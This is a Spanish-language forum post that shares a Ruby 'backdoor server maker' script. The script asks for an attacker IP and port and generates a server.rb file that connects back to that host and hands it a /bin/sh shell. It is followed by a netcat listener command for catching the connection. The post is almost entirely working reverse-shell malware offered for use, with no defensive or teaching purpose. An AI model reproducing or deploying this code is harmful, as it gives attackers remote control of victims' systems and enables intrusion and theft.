Back door en Ruby

Iniciado por Dharok, Febrero 23, 2010, 11:28:53 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Febrero 23, 2010, 11:28:53 PM Ultima modificación: Julio 31, 2014, 09:44:22 PM por Expermicid
Código: ruby
#Ruby Backdoor Server Maker
#N0t Group/RC Team
#Thanks to pRotos for the help.

puts "
___________________________________________________________

             -->RUBY BACKDOOR 0.1<--
___________________________________________________________"

print "Siga los pasos del asistente para configurar el servidor.\n"
print "Teclee la direcci?n IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n"
ip=gets.chomp
print "Teclee a continuacion el puerto al que desea utilizar.\n"
port=gets.chomp
print "Espere un momento por favor, el servidor esta siendo procesado.............\n"
print "Procesando 25%.......................................\n"
print ".................Procesando 50%............................\n"
print ".................................Procesando 75%.................\n"
print ".................................................Procesando 100%\n"
print "Pulse la tecla <Enter> para continuar...\n"
ton=gets.chomp
fil=File.new("server", "w")
fil.write("require 'socket'
begin
sock=TCPSocket.new(\"#{ip}\", \"#{port}\")
rescue Errno::ECONNREFUSED
end
sock.print(\"####################CONEXION ESTABLECIDA###################\n\")
sock.print(\"\nTeclea <exit> para finalizar la conexion.\n\")
   $stdout.reopen(sock)
   $stdin.reopen(sock)
system('/bin/sh')
sock.print(\"\n####################CONEXION FINALIZADA####################\n\")")
fil.close
File.rename('server', 'server.rb')
print "Su servidor ha sido creado con exito. ;-)\n"

Nota: Para dejar el netcat a la escucha:
Código: text
nc -vv -l -p 0000


Donde 0000 es el puerto que es asignado previamente ustedes.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login